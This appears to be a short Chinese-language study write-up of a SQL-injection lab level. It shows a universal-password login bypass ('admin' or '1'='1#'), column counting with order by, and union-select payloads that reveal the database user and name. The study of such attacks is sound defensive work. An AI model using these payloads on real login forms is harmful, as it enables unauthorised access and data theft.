在这一关卡我学到了
1.万能密码的构造,大概的去揣测正常的SQL语句是如何的。
2.
3.
00x1 SQL万能密码的构造
在登录框当中可以添加了一个单引号。报错信息如下所示:
据此报错,我们大概的可以猜测其网站的正常是SQL语句如下:
$sql="select username,password from 表明 where username='$username' and password='$password' limit 0,1"
即使如此,那么来尝试将其闭合。
账号密码同时尝试输入:admin' or '1'='1#
可见成功登陆。那么我们来分析一下原因吧。
当我们账号输入admin' or '1'='1的时候(密码随意填写),到SQL语句里的执行就是
$sql="select username,password from 表明 where username='test' or '1'='1'
最后的那个单引号是系统自动加上去的。所以我们不必画蛇添足。
至于密码部分全部被#消除了。完整的sql语句是:
$sql="select username,password from 表明 where username='admin' or '1'='1# and password='$password' limit 0,1"
如此一来,系统会自动加一个单引号。就变成了如下语句:
$sql="select username,password from 表明 where username='admin' or '1'='1'"
如此一来就成功绕过了登陆进入网站的后台。
00x2 登陆框报错注入
0x1猜字段数
order by 5的时候爆的时候出错了。提示“不知道这个第五条”
直到2的时候页面跟刚才不一样了!
说明字段书是2
00x2 猜数据库
Payload:123' union select database(),2#
再尝试:123' union select concat(user(),0x2b,database(),0x2b),2#
Your Login name:root@localhost+security+
root权限,数据库名为security
直接使用联合查询注入.......
THE END